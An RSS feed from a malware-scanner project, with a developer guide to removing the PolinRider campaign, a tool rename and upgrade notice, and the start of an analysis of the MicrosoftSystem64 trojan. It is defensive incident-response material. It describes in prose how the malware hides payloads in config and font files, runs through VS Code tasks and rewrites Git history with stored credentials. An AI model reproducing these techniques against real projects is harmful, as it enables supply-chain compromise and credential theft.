<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="/updates/rss.xsl"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>PolinRider Scanner and Cleaner: Updates</title>
    <link>https://polinriderscanner.com/updates/</link>
    <atom:link href="https://polinriderscanner.com/updates/rss.xml" rel="self" type="application/rss+xml"/>
    <description>What's happening with PolinRider: our updates and the weekly indicator reviews, in full.</description>
    <language>en-IN</language>
    <lastBuildDate>Thu, 05 Nov 2026 00:00:00 GMT</lastBuildDate>
    <item>
      <title>How to get rid of PolinRider: a developer's guide</title>
      <link>https://polinriderscanner.com/guides/developers-guide-getting-rid-of-polinrider/</link>
      <guid isPermaLink="true">https://polinriderscanner.com/guides/developers-guide-getting-rid-of-polinrider/</guid>
      <pubDate>Thu, 05 Nov 2026 00:00:00 GMT</pubDate>
      <category>Guide</category>
      <description>Think PolinRider is on your computer or in your repositories? How to check with polinrider, clean up in the right order and keep it from coming back.</description>
      <content:encoded><![CDATA[<p>PolinRider spreads from the computer it infects. A script there uses the Git
credentials already stored on that machine to amend your last commit with its
payload, set the clock back so the date still matches and force-push. Nobody
logs in from somewhere else. That is why cleaning a repository on GitHub while
the computer is still infected does not last: the next push puts it back.</p>
<p>So the order matters more than anything else in this guide. Check and clean
every computer that pushes to the affected repositories first, then change
every password and token from a computer you trust, then clean GitHub, then
scan every future push. What follows takes you through that from the first
suspicion to the last check, with polinrider doing the scanning. It draws on cleaning up one account of our own, 57 repositories and 304
branches and tags, and on what researchers have published about the campaign
since.</p>
<h2 id="the-signs">The signs</h2>
<p>Most people find it in one of a few ways. A config file such as
<code>postcss.config.mjs</code> or <code>eslint.config.mjs</code> has code after its real end,
pushed far to the right by a long run of spaces. A file under
<code>public/fonts/</code> with a Font Awesome name turns out to hold JavaScript, and a
<code>.vscode/tasks.json</code> you did not write runs it when the folder opens. A
<code>.gitignore</code> lists <code>temp_auto_push.bat</code>. Windows Defender reports <code>Trojan:NPM/PolinRider.SF</code> and removes it, and it comes back on the next
<code>npm run dev</code>. A process called <code>MicrosoftSystem64</code> is running, which is
related malware from the same DPRK-linked group. Or GitHub shows a branch
“updated” hours ago that nobody on the team touched, while <code>git log</code> looks
perfectly normal.</p>
<p><a href="https://polinriderscanner.com/what-is-polinrider/">What is PolinRider?</a> explains each of these, and why
the history looks clean when it is not.</p>
<h2 id="the-first-hour-what-not-to-do">The first hour: what not to do</h2>
<p>Stop pushing from the computer you suspect. Do not open the affected project
in VS Code again: a hidden task runs as soon as you trust the folder. If VS
Code asks whether to trust it, say no. Turn off automatic tasks for every
folder, not just this one. Do not <code>git pull</code> into a clone you already have,
because a pull into an infected clone can put the payload back on the
remote.</p>
<p>Do not start cleaning GitHub yet, and do not change your passwords yet
either. Both get undone while the computer is still infected: a process that is still
running takes the new credentials on its next run.</p>
<p>There are three things worth doing now, from a different computer you
trust. On every repository the account can reach, turn on branch protection
that blocks force-pushes and requires signed commits, and pause any automatic
deploys. Revoke any OAuth App or GitHub App you do not recognise. And warn
the people who push to the same repositories, because their computers may be
infected too.</p>
<h2 id="install-polinrider-and-check-it-is-genuine">Install polinrider and check it is genuine</h2>
<p>polinrider is one program. On macOS or Linux,
<code>brew install meSingh/tap/polinrider-scanner</code>; on Windows, add the bucket and
<code>scoop install polinrider-scanner</code>. Or download the archive for your system from the latest release and keep the
<code>ioc/</code> folder beside the program. Check it before you run it:</p>
<pre class="astro-code astro-code-themes github-light-default github-dark-default" style="--shiki-light:#1f2328;--shiki-dark:#e6edf3;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0d1117;overflow-x:auto" tabindex="0" data-language="bash"><code><span class="line"><span style="--shiki-light:#953800;--shiki-dark:#FFA657">sha256sum</span><span style="--shiki-light:#0550AE;--shiki-dark:#79C0FF"> -c</span><span style="--shiki-light:#0A3069;--shiki-dark:#A5D6FF"> SHA256SUMS</span><span style="--shiki-light:#0550AE;--shiki-dark:#79C0FF"> --ignore-missing</span></span>
<span class="line"><span style="--shiki-light:#953800;--shiki-dark:#FFA657">gh</span><span style="--shiki-light:#0A3069;--shiki-dark:#A5D6FF"> attestation</span><span style="--shiki-light:#0A3069;--shiki-dark:#A5D6FF"> verify</span><span style="--shiki-light:#0A3069;--shiki-dark:#A5D6FF"> polinrider-v3.0.0-macos-arm64.tar.gz</span><span style="--shiki-light:#0550AE;--shiki-dark:#79C0FF"> --repo</span><span style="--shiki-light:#0A3069;--shiki-dark:#A5D6FF"> meSingh/polinrider-scanner</span></span></code></pre>
<p><a href="https://polinriderscanner.com/docs/reference/verifying/">Verifying polinrider</a> has the details, including
releases built before the rename. On macOS the program is not notarised, so
Gatekeeper stops the first run until you clear the quarantine flag on the copy
you have verified.</p>
<h2 id="scan-your-computer">Scan your computer</h2>
<p>Run it with no arguments:</p>
<pre class="astro-code astro-code-themes github-light-default github-dark-default" style="--shiki-light:#1f2328;--shiki-dark:#e6edf3;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0d1117;overflow-x:auto" tabindex="0" data-language="bash"><code><span class="line"><span style="--shiki-light:#953800;--shiki-dark:#FFA657">polinrider</span></span></code></pre>
<p>It asks “What should I check?” and you answer in words. Type <code>computer</code>. It
reads your home folder, what starts by itself, shell startup files, git and
npm settings, npm’s own program files, Python startup files, running programs
and open connections. Nothing changes during the scan. Without the questions, <code>polinrider check ~/code</code> checks the computer and
that folder and changes nothing.</p>
<p>You get one of three answers.</p>
<p><code>VERDICT: COMPROMISED</code> means it found something only the malware leaves. A box
under it says either “This machine cannot be trusted until it is rebuilt.”,
when something proves the payload ran there, or “The payload is in your
project files. See below.”, when everything it found is inside your projects.</p>
<p><code>VERDICT: no confirmed indicator.</code> comes with <code>[review]</code> lines: a file, a
process or a setting that a normal project can also have. Read each one and
ask whether you put it there. If one is not yours, treat it as confirmed. A
line that says a check could not run means that part was not looked at.
<a href="https://polinriderscanner.com/docs/reference/false-positives/">False positives you will see</a> lists the
harmless matches.</p>
<p><code>VERDICT: clean against the current indicator set.</code> means today’s known signs
are absent. It is not proof that nothing was ever there. If you had a reason
to check, change your credentials anyway.</p>
<h2 id="clean-your-computer">Clean your computer</h2>
<p>If it found something, the next screen says what it can deal with: stripping
the payload out of config files and moving files into quarantine. It says
“Nothing is deleted.” and names the folder where every original is kept. Type
<code>yes</code> to do it, <code>details</code> to see every finding first or <code>no</code> to leave
everything as it is.</p>
<p>A config file is cut in place, so your own uncommitted work in it survives,
and the infected original goes to quarantine. Nothing in git is touched. The
quarantine folder has a manifest of where each file came from and
instructions for putting any of them back. Keep it until the incident is
closed.</p>
<p>Some things it will not change for you, because they are yours: a crontab
line, a shell startup file, a PowerShell profile, a Run entry, a scheduled
task and a line in <code>~/.ssh/authorized_keys</code>. For each one it prints the
command or the edit to make. It also prints the command to stop a process
that is already running, because moving a login item into quarantine does
not stop what it started. Read every line of <code>authorized_keys</code>, not only the
one it names: the next build may use a key nobody has published.</p>
<p>If npm’s own program files were confirmed, remove Node.js and npm, make sure
nothing is still running and reinstall before you run <code>npm</code> again.
OpenSourceMalware found infected computers where npm’s <code>lib/cli.js</code> had been
replaced with a copy about a megabyte in size, so every <code>npm</code> and <code>npx</code>
command started the payload again, even after a reboot.</p>
<p>As for reinstalling the whole system: if the tool says the machine cannot be trusted until it is rebuilt, rebuild it. If
everything it found is in project files and you know nothing infected was
built or opened in an editor, clean up, delete your clones and keep scanning.
If you are not sure, rebuild. Quarantine contains the problem. A clean
install is what recovers from it, and it is the safer choice on any machine
with production or financial access.</p>
<h2 id="change-every-password-and-token">Change every password and token</h2>
<p>Do this from a computer you trust, once every computer that pushes to the
affected repositories is clean. Assume everything that was reachable from
that computer is in someone else’s hands.</p>
<p>Start with what can write to your repositories: personal access tokens, SSH
keys and signing keys, deploy keys on every repository, OAuth and GitHub App
grants, Actions secrets and self-hosted runner tokens. Then publish rights:
npm tokens with a 2FA reset, then Packagist, PyPI, Docker Hub or Chrome Web
Store credentials. Then everything else: cloud keys, every value in every
<code>.env</code>, database passwords, tokens for connected platforms such as Vercel or
Netlify, browser-saved passwords and your password manager vault if it was
unlocked on that computer. Clear the cached Git credentials too, which
survive a password change. If a wallet or seed phrase was on the computer,
move the funds first.</p>
<h2 id="scan-github">Scan GitHub</h2>
<p>Run <code>polinrider</code> again and answer <code>account</code> for your own repositories or
<code>organization</code> for one you belong to. It needs <code>gh</code>, signed in, and checks
that first.</p>
<p>Before it changes anything, it copies every repository into an evidence
folder outside any working tree. Those copies hold live malware, so do not
open them in an editor. Then it checks every branch and every tag and reads
GitHub’s push record for each repository: who pushed what and when, by
GitHub’s clock. The rewriting script can fake a commit’s date and author, but
not that record. Type <code>details</code> on the summary to see every branch and file.</p>
<p>Expect familiar names in the push record. The malware pushes as whoever is
logged in, so a colleague’s name does not clear anything. It means their
computer needs scanning too.</p>
<p>Run this soon. GitHub serves the commit a branch was moved off only until it
cleans up unreferenced data, and after that there is nothing to go back to.</p>
<h2 id="fix-each-repository">Fix each repository</h2>
<p>For each infected repository it offers what can actually fix it, and you
type one word.</p>
<ul>
<li><code>restore</code> puts each branch back where GitHub’s push record says it was
before the attack. Nothing is edited and history is not rewritten. It is
offered only where that record shows a clean state, and only after the old
commit has been fetched and checked, because the commit before an attack is
often the previous attack. Two of ten restore points on our own account
were. Pick it whenever it is offered.</li>
<li><code>remove</code> adds one commit per branch that takes the payload out. It is easy
to undo, and the payload stays in older commits.</li>
<li><code>erase</code> takes the payload out of every commit and pushes the history back.
Every commit ID changes and every existing clone has to be reset; it shows
you how.</li>
<li><code>archive</code> marks a repository nobody uses as infected and makes it
read-only. Nothing is removed.</li>
<li><code>skip</code> leaves it for now.</li>
</ul>
<p>Where there is no clean state to return to, because the payload was
committed normally, choose <code>remove</code> to keep history as it is or <code>erase</code> to
have the payload in no commit at all.</p>
<p>Every fix shows a dry run of exactly what would change, and pushes only when
you type <code>yes</code>. Each push is refused if someone pushed after the check, and
afterwards it asks GitHub what it now shows. Choosing <code>all</code> applies one fix
everywhere it can, and goes ahead only when you type the owner’s name.</p>
<p>When you are done, delete every local clone and clone again. Once every
restore has worked, <code>polinrider --purge-evidence</code> deletes the copies it made,
after asking.</p>
<h2 id="tell-the-people-affected">Tell the people affected</h2>
<p>Anyone who pushes to these repositories needs to scan their own computer.
Without that, a collaborator who is still infected can put the payload back
after you have finished. Anyone who forked or cloned a repository while it
was infected should check what they have.</p>
<p>If you publish packages, look through your release history for versions you
did not make, publish fixed versions and use GitHub’s security advisories to
reach people who installed a bad one. A Go module is a special case: the Go
module proxy keeps every version it has fetched, so a tagged infected commit
stays downloadable whatever you do to the repository.</p>
<h2 id="keep-it-out">Keep it out</h2>
<p>Copy the CI scanner into each repository, so a reinfection fails the next
push instead of waiting to be noticed:</p>
<pre class="astro-code astro-code-themes github-light-default github-dark-default" style="--shiki-light:#1f2328;--shiki-dark:#e6edf3;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0d1117;overflow-x:auto" tabindex="0" data-language="bash"><code><span class="line"><span style="--shiki-light:#953800;--shiki-dark:#FFA657">./ci/install-workflow.sh</span><span style="--shiki-light:#0A3069;--shiki-dark:#A5D6FF"> /path/to/your/repo</span></span></code></pre>
<p>It vendors the scanner and the indicator set into the repository and runs on
every push and pull request, with no third-party action to trust. It commits
nothing; review it, then commit. A copy vendored from 2.1.0 or earlier needs
re-running with <code>--force</code>. <a href="https://polinriderscanner.com/docs/guides/ci/">Block PolinRider in CI</a> has the
rest.</p>
<p>Keep force-pushes blocked and signed commits required, and leave VS Code’s
automatic tasks off. Consider <code>npm config set ignore-scripts true</code> too, with
exceptions where a build needs them. Then scan again weekly for a month and
monthly after that, because the campaign keeps changing its signatures.</p>
<h2 id="if-you-cannot-run-the-tool">If you cannot run the tool</h2>
<p>These are the checks that catch the most, by hand. Do them from a terminal,
without opening anything in an editor.</p>
<p>Read the first four bytes of every <code>.woff</code> and <code>.woff2</code> file: a real one
starts with <code>wOF2</code> or <code>wOFF</code>. Search the whole tree for <code>fa-solid-*</code> and
<code>.llf</code> files, since the name keeps changing. Read every <code>.vscode/tasks.json</code>
as text and look for a task that runs <code>node</code> on a font file or runs on folder
open. Open each JavaScript config file and scroll to the end of every line.
Look for <code>temp_auto_push.bat</code> and <code>config.bat</code> anywhere on disk.</p>
<p>Check what starts by itself: Run keys, both Startup folders and scheduled
tasks on Windows, including anything named <code>MicrosoftCLROptimization</code> or
<code>MicrosoftSystem64</code>; LaunchAgents, LaunchDaemons and the crontab on macOS;
systemd user units, autostart entries and the crontab on Linux. Compare npm’s
<code>lib/cli.js</code> with a fresh install, read <code>~/.ssh/authorized_keys</code> line by line
and look for <code>node -e</code> or <code>python -c</code> processes you did not start. If macOS
keeps asking for Keychain access to your GitHub credentials after you deny
it, something is looping in the background.</p>
<p>On GitHub, look at each repository’s activity for force-pushes you did not
make, and run <code>git reflog</code> in your clones for amended commits you do not
remember.</p>
<p>The <a href="https://polinriderscanner.com/docs/guides/getting-rid-of-polinrider/">cleanup checklist</a> has every
step of this guide on one page.</p>
<h2 id="sources">Sources</h2>
<ul>
<li>OpenSourceMalware, <a href="https://opensourcemalware.com/blog/polinrider-dprk-compromised-hundreds-of-github-repos">Hundreds of GitHub Repos Compromised By DPRK’s PolinRider Campaign</a>, March 2026</li>
<li>OpenSourceMalware, <a href="https://opensourcemalware.com/blog/developer-guide-getting-over-polinrider">A Developer’s Guide to Getting Rid of PolinRider</a>, August 2026, for the replaced <code>cli.js</code> and the Keychain prompts</li>
<li>OpenSourceMalware, <a href="https://opensourcemalware.com/blog/polinrider-is-a-b-testing-its-way-past-your-detections">PolinRider is A/B Testing its Way Past Your Detections</a>, September 2026</li>
<li>OpenSourceMalware, <a href="https://opensourcemalware.com/blog/how-to-investigate-a-github-repos-real-history">How to Investigate a GitHub Repo’s Real History</a>, October 2026</li>
<li>SafeDep, <a href="https://safedep.io/microsoftsystem64-binary-payload-analysis/">Inside MicrosoftSystem64</a>, May 2026</li>
<li>polinrider-scanner: the <a href="https://github.com/meSingh/polinrider-scanner#readme">README</a> and <a href="https://github.com/meSingh/polinrider-scanner/blob/main/docs/adr/0010-restore-targets-are-read-before-they-are-offered.md">ADR-0010</a>, on checking restore points before offering them</li>
</ul>]]></content:encoded>
    </item>
    <item>
      <title>PolinRider Scanner 3.0: polinrider-cleaner has a new name and a new home</title>
      <link>https://polinriderscanner.com/announcements/polinrider-scanner-3-0/</link>
      <guid isPermaLink="true">https://polinriderscanner.com/announcements/polinrider-scanner-3-0/</guid>
      <pubDate>Wed, 04 Nov 2026 00:00:00 GMT</pubDate>
      <category>Announcement</category>
      <description>The project is now polinrider-scanner, at polinriderscanner.com. The program is the same; the package names and how you verify old releases change.</description>
      <content:encoded><![CDATA[<p>polinrider-cleaner is now PolinRider Scanner and Cleaner. The program itself
has not changed: it is still <code>polinrider</code>, with the same options, the same
output and the same exit codes. What changes is where it lives, what the
packages are called and how you check that a download is genuine. That is why
this release is 3.0.0 rather than 2.4.</p>
<h2 id="where-everything-is-now">Where everything is now</h2>
<p>Bookmark these, and check any link you are sent against them.</p>
<table>
<thead>
<tr>
<th>What</th>
<th>Address</th>
</tr>
</thead>
<tbody>
<tr>
<td>Website</td>
<td><a href="https://polinriderscanner.com/">polinriderscanner.com</a></td>
</tr>
<tr>
<td>Source code</td>
<td><a href="https://github.com/meSingh/polinrider-scanner">github.com/meSingh/polinrider-scanner</a></td>
</tr>
<tr>
<td>Downloads</td>
<td><a href="https://github.com/meSingh/polinrider-scanner/releases">github.com/meSingh/polinrider-scanner/releases</a></td>
</tr>
<tr>
<td>Homebrew tap</td>
<td><a href="https://github.com/meSingh/homebrew-tap">github.com/meSingh/homebrew-tap</a></td>
</tr>
<tr>
<td>Scoop bucket</td>
<td><a href="https://github.com/meSingh/scoop-bucket">github.com/meSingh/scoop-bucket</a></td>
</tr>
</tbody>
</table>
<p>The old addresses still work. GitHub redirects
<code>github.com/meSingh/polinrider-cleaner</code> to the new repository, for the web,
for git and for the API, and links to the site’s old GitHub Pages address
send you here.</p>
<h2 id="upgrade-from-2x">Upgrade from 2.x</h2>
<p>Pick the way you installed it.</p>
<h3 id="homebrew-macos-and-linux">Homebrew (macOS and Linux)</h3>
<p><code>brew upgrade</code> moves an existing <code>polinrider-cleaner</code> install to the new name
by itself:</p>
<pre class="astro-code astro-code-themes github-light-default github-dark-default" style="--shiki-light:#1f2328;--shiki-dark:#e6edf3;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0d1117;overflow-x:auto" tabindex="0" data-language="bash"><code><span class="line"><span style="--shiki-light:#953800;--shiki-dark:#FFA657">brew</span><span style="--shiki-light:#0A3069;--shiki-dark:#A5D6FF"> update</span></span>
<span class="line"><span style="--shiki-light:#953800;--shiki-dark:#FFA657">brew</span><span style="--shiki-light:#0A3069;--shiki-dark:#A5D6FF"> upgrade</span></span></code></pre>
<h3 id="scoop-windows">Scoop (Windows)</h3>
<p>Scoop does not move you across. Remove the old package and install the new
one:</p>
<pre class="astro-code astro-code-themes github-light-default github-dark-default" style="--shiki-light:#1f2328;--shiki-dark:#e6edf3;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0d1117;overflow-x:auto" tabindex="0" data-language="powershell"><code><span class="line"><span style="--shiki-light:#1F2328;--shiki-dark:#E6EDF3">scoop uninstall polinrider</span><span style="--shiki-light:#CF222E;--shiki-dark:#FF7B72">-</span><span style="--shiki-light:#1F2328;--shiki-dark:#E6EDF3">cleaner</span></span>
<span class="line"><span style="--shiki-light:#1F2328;--shiki-dark:#E6EDF3">scoop update</span></span>
<span class="line"><span style="--shiki-light:#1F2328;--shiki-dark:#E6EDF3">scoop install polinrider</span><span style="--shiki-light:#CF222E;--shiki-dark:#FF7B72">-</span><span style="--shiki-light:#1F2328;--shiki-dark:#E6EDF3">scanner</span></span></code></pre>
<p>The old name stays at 2.3.0 and <code>scoop status</code> reports it as deprecated.</p>
<h3 id="debian-and-ubuntu">Debian and Ubuntu</h3>
<p>Download the new <code>.deb</code>, check it and install it. Installing it removes the
old <code>polinrider-cleaner</code> package. On ARM, use <code>linux-arm64</code> in place of
<code>linux-x86_64</code>.</p>
<pre class="astro-code astro-code-themes github-light-default github-dark-default" style="--shiki-light:#1f2328;--shiki-dark:#e6edf3;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0d1117;overflow-x:auto" tabindex="0" data-language="bash"><code><span class="line"><span style="--shiki-light:#953800;--shiki-dark:#FFA657">gh</span><span style="--shiki-light:#0A3069;--shiki-dark:#A5D6FF"> release</span><span style="--shiki-light:#0A3069;--shiki-dark:#A5D6FF"> download</span><span style="--shiki-light:#0A3069;--shiki-dark:#A5D6FF"> v3.0.0</span><span style="--shiki-light:#0550AE;--shiki-dark:#79C0FF"> --repo</span><span style="--shiki-light:#0A3069;--shiki-dark:#A5D6FF"> meSingh/polinrider-scanner</span><span style="--shiki-light:#0550AE;--shiki-dark:#79C0FF"> --pattern</span><span style="--shiki-light:#0A3069;--shiki-dark:#A5D6FF"> &#39;polinrider-v3.0.0-linux-x86_64.deb&#39;</span></span>
<span class="line"><span style="--shiki-light:#953800;--shiki-dark:#FFA657">gh</span><span style="--shiki-light:#0A3069;--shiki-dark:#A5D6FF"> attestation</span><span style="--shiki-light:#0A3069;--shiki-dark:#A5D6FF"> verify</span><span style="--shiki-light:#0A3069;--shiki-dark:#A5D6FF"> polinrider-v3.0.0-linux-x86_64.deb</span><span style="--shiki-light:#0550AE;--shiki-dark:#79C0FF"> --repo</span><span style="--shiki-light:#0A3069;--shiki-dark:#A5D6FF"> meSingh/polinrider-scanner</span></span>
<span class="line"><span style="--shiki-light:#953800;--shiki-dark:#FFA657">sudo</span><span style="--shiki-light:#0A3069;--shiki-dark:#A5D6FF"> apt</span><span style="--shiki-light:#0A3069;--shiki-dark:#A5D6FF"> install</span><span style="--shiki-light:#0A3069;--shiki-dark:#A5D6FF"> ./polinrider-v3.0.0-linux-x86_64.deb</span></span></code></pre>
<h3 id="a-downloaded-archive">A downloaded archive</h3>
<p>Download the archive for your system from the
<a href="https://github.com/meSingh/polinrider-scanner/releases">releases page</a>,
check it as shown below and replace your old folder with the new one. Keep
the <code>ioc/</code> folder beside the binary.</p>
<h3 id="winget">winget</h3>
<p>A winget package is being prepared as <code>meSingh.PolinRiderScanner</code>. It is not
in the winget repository yet.</p>
<h3 id="the-ci-scanner-in-your-repositories">The CI scanner in your repositories</h3>
<p>Nothing to do. The <code>ioc/</code> folder has the same layout, and the scan you
vendored never named the repository.</p>
<h3 id="check-the-upgrade">Check the upgrade</h3>
<pre class="astro-code astro-code-themes github-light-default github-dark-default" style="--shiki-light:#1f2328;--shiki-dark:#e6edf3;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0d1117;overflow-x:auto" tabindex="0" data-language="bash"><code><span class="line"><span style="--shiki-light:#953800;--shiki-dark:#FFA657">polinrider</span><span style="--shiki-light:#0550AE;--shiki-dark:#79C0FF"> --version</span></span></code></pre>
<p>The version it shows should be 3.0.0.</p>
<h2 id="new-to-it-install-30">New to it? Install 3.0</h2>
<pre class="astro-code astro-code-themes github-light-default github-dark-default" style="--shiki-light:#1f2328;--shiki-dark:#e6edf3;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0d1117;overflow-x:auto" tabindex="0" data-language="bash"><code><span class="line"><span style="--shiki-light:#953800;--shiki-dark:#FFA657">brew</span><span style="--shiki-light:#0A3069;--shiki-dark:#A5D6FF"> install</span><span style="--shiki-light:#0A3069;--shiki-dark:#A5D6FF"> meSingh/tap/polinrider-scanner</span></span></code></pre>
<pre class="astro-code astro-code-themes github-light-default github-dark-default" style="--shiki-light:#1f2328;--shiki-dark:#e6edf3;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0d1117;overflow-x:auto" tabindex="0" data-language="powershell"><code><span class="line"><span style="--shiki-light:#1F2328;--shiki-dark:#E6EDF3">scoop bucket add mesingh https:</span><span style="--shiki-light:#CF222E;--shiki-dark:#FF7B72">//</span><span style="--shiki-light:#0550AE;--shiki-dark:#79C0FF">github.com</span><span style="--shiki-light:#CF222E;--shiki-dark:#FF7B72">/</span><span style="--shiki-light:#1F2328;--shiki-dark:#E6EDF3">meSingh</span><span style="--shiki-light:#CF222E;--shiki-dark:#FF7B72">/</span><span style="--shiki-light:#1F2328;--shiki-dark:#E6EDF3">scoop</span><span style="--shiki-light:#CF222E;--shiki-dark:#FF7B72">-</span><span style="--shiki-light:#1F2328;--shiki-dark:#E6EDF3">bucket</span></span>
<span class="line"><span style="--shiki-light:#1F2328;--shiki-dark:#E6EDF3">scoop install polinrider</span><span style="--shiki-light:#CF222E;--shiki-dark:#FF7B72">-</span><span style="--shiki-light:#1F2328;--shiki-dark:#E6EDF3">scanner</span></span></code></pre>
<p>Every other way to install it is in the
<a href="https://github.com/meSingh/polinrider-scanner#run-it">README</a>.</p>
<h2 id="check-that-a-download-is-genuine">Check that a download is genuine</h2>
<p>Every release from 3.0.0 on is checked against the new name:</p>
<pre class="astro-code astro-code-themes github-light-default github-dark-default" style="--shiki-light:#1f2328;--shiki-dark:#e6edf3;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0d1117;overflow-x:auto" tabindex="0" data-language="bash"><code><span class="line"><span style="--shiki-light:#953800;--shiki-dark:#FFA657">gh</span><span style="--shiki-light:#0A3069;--shiki-dark:#A5D6FF"> attestation</span><span style="--shiki-light:#0A3069;--shiki-dark:#A5D6FF"> verify</span><span style="--shiki-light:#0A3069;--shiki-dark:#A5D6FF"> polinrider-v3.0.0-macos-arm64.tar.gz</span><span style="--shiki-light:#0550AE;--shiki-dark:#79C0FF"> --repo</span><span style="--shiki-light:#0A3069;--shiki-dark:#A5D6FF"> meSingh/polinrider-scanner</span></span></code></pre>
<p>Releases up to 2.3.0 were attested while the repository was still called
<code>polinrider-cleaner</code>, and their attestations record that name. The new name
fails for them, with an error that looks like a fake file but is not one. Use
the old name, which GitHub still follows:</p>
<pre class="astro-code astro-code-themes github-light-default github-dark-default" style="--shiki-light:#1f2328;--shiki-dark:#e6edf3;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0d1117;overflow-x:auto" tabindex="0" data-language="bash"><code><span class="line"><span style="--shiki-light:#953800;--shiki-dark:#FFA657">gh</span><span style="--shiki-light:#0A3069;--shiki-dark:#A5D6FF"> attestation</span><span style="--shiki-light:#0A3069;--shiki-dark:#A5D6FF"> verify</span><span style="--shiki-light:#0A3069;--shiki-dark:#A5D6FF"> polinrider-v2.3.0-macos-arm64.tar.gz</span><span style="--shiki-light:#0550AE;--shiki-dark:#79C0FF"> --repo</span><span style="--shiki-light:#0A3069;--shiki-dark:#A5D6FF"> meSingh/polinrider-cleaner</span></span></code></pre>
<p>Or use one command that works for a release of any version, and also proves
the file was built by this repository’s release workflow:</p>
<pre class="astro-code astro-code-themes github-light-default github-dark-default" style="--shiki-light:#1f2328;--shiki-dark:#e6edf3;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0d1117;overflow-x:auto" tabindex="0" data-language="bash"><code><span class="line"><span style="--shiki-light:#953800;--shiki-dark:#FFA657">gh</span><span style="--shiki-light:#0A3069;--shiki-dark:#A5D6FF"> attestation</span><span style="--shiki-light:#0A3069;--shiki-dark:#A5D6FF"> verify</span><span style="--shiki-light:#0A3069;--shiki-dark:#A5D6FF"> polinrider-v2.3.0-macos-arm64.tar.gz</span><span style="--shiki-light:#CF222E;--shiki-dark:#FF7B72"> \</span></span>
<span class="line"><span style="--shiki-light:#0550AE;--shiki-dark:#79C0FF">  --owner</span><span style="--shiki-light:#0A3069;--shiki-dark:#A5D6FF"> meSingh</span><span style="--shiki-light:#CF222E;--shiki-dark:#FF7B72"> \</span></span>
<span class="line"><span style="--shiki-light:#0550AE;--shiki-dark:#79C0FF">  --cert-identity-regex</span><span style="--shiki-light:#0A3069;--shiki-dark:#A5D6FF"> &#39;^https://github\.com/meSingh/polinrider-(cleaner|scanner)/\.github/workflows/release\.yml@refs/tags/v&#39;</span></span></code></pre>
<p>We tested every form on the day of the rename.
<a href="https://polinriderscanner.com/docs/reference/verifying-before-3/">Verifying releases from before 3.0</a>
has the rest, including how to confirm the attestation came from this
repository and not a later holder of the old name.</p>
<h2 id="what-else-is-new">What else is new</h2>
<p>The documentation site has been rebuilt. Updates, where this post lives, carries news on the campaign and our own guides and analysis. It also points
to articles by other researchers that are worth your time. Every weekly
indicator review is still public. A new page,
<a href="https://polinriderscanner.com/what-is-polinrider/">What is PolinRider?</a>, explains the malware from the
start for a developer who has never heard of it: how it gets in, what it
takes, why your Git history looks clean and the signs to look for. The docs
are now kept for each release line, so someone running an older version can
still read instructions for the program they actually have.</p>
<p>There is also a cleanup checklist and a longer guide to getting rid of
PolinRider, written from what we learned cleaning up our own account and from
what researchers have published since OpenSourceMalware’s August guide.</p>
<p>The repository itself now keeps a daily record of release
downloads on its public <code>traffic</code> branch. GitHub keeps only a running total
per file, so until now there was no way to tell whether anyone came after a
release or a post. Our own test downloads are recorded and taken off, so the weekly figure leaves our own out.</p>
<h2 id="what-has-not-changed">What has not changed</h2>
<p>3.0.0 adds no new detection. It finds exactly what 2.3.0 found, and a clean
result still means that today’s known signs are absent, not that nothing was
ever there. The indicators are still checked against published reports every
week.</p>
<p>The other limits are the same too. The macOS binaries are not notarised, so
Gatekeeper stops the first run until you clear the quarantine flag on a
binary you have verified. Restoring a branch on GitHub still depends on
GitHub serving the commit from before the attack, which it does only until it
clears out unreferenced data, so check early. And it is still one person’s
open source project, with no warranty and no support commitment.</p>
<p>If you are here because something is wrong on your machine, start with the
<a href="https://polinriderscanner.com/docs/guides/getting-rid-of-polinrider/">cleanup checklist</a>.</p>
<h2 id="sources">Sources</h2>
<ul>
<li><a href="https://polinriderscanner.com/releases/v3.0.0/">Release notes for 3.0.0</a> and the <a href="https://github.com/meSingh/polinrider-scanner#run-it">README</a></li>
<li><a href="https://github.com/meSingh/polinrider-scanner/blob/main/docs/adr/0057-the-repository-is-polinrider-scanner-from-3-0-0.md">ADR-0057</a>, the rename, with the verification tests</li>
<li><a href="https://github.com/meSingh/polinrider-scanner/blob/main/docs/adr/0056-the-docs-are-versioned-by-release-line.md">ADR-0056</a>, docs kept per release line</li>
<li><a href="https://github.com/meSingh/polinrider-scanner/blob/main/docs/adr/0053-release-downloads-are-counted-daily-with-our-own-kept-apart.md">ADR-0053</a>, the download history</li>
</ul>]]></content:encoded>
    </item>
    <item>
      <title>MicrosoftSystem64: what it is and how to remove it</title>
      <link>https://polinriderscanner.com/analysis/microsoftsystem64/</link>
      <guid isPermaLink="true">https://polinriderscanner.com/analysis/microsoftsystem64/</guid>
      <pubDate>Tue, 03 Nov 2026 00:00:00 GMT</pubDate>
      <category>Analysis</category>
      <description>MicrosoftSystem64 is not part of Windows. It is a remote-access trojan that malicious npm packages install, now found inside working GitHub projects too.</description>
      <content:encoded><![CDATA[<p>A program, process or folder called <code>MicrosoftSystem64</code> has nothing to do with
Windows or any Microsoft product. It is a remote-access trojan and information
stealer that malicious npm packages install, and it runs on Windows, macOS and
Linux. <a href="https://safedep.io/microsoftsystem64-binary-payload-analysis/">SafeDep</a>, which took the program apart in May, says the name
is chosen to look like a system service in a process list, and that a
computer running it should be treated as fully compromised. In October Island
found it being pulled into working open source projects as well, so you do
not need to have picked a suspicious package to end up with it.</p>
<h2 id="what-it-does">What it does</h2>
<p>It is a Node.js single executable: the runtime and the malicious JavaScript
packed into one native file, so it runs on computers without Node.js
installed. The Linux build SafeDep analysed is 81 MB, and JFrog found the
Windows, Mac and Linux builds all carry the same JavaScript.</p>
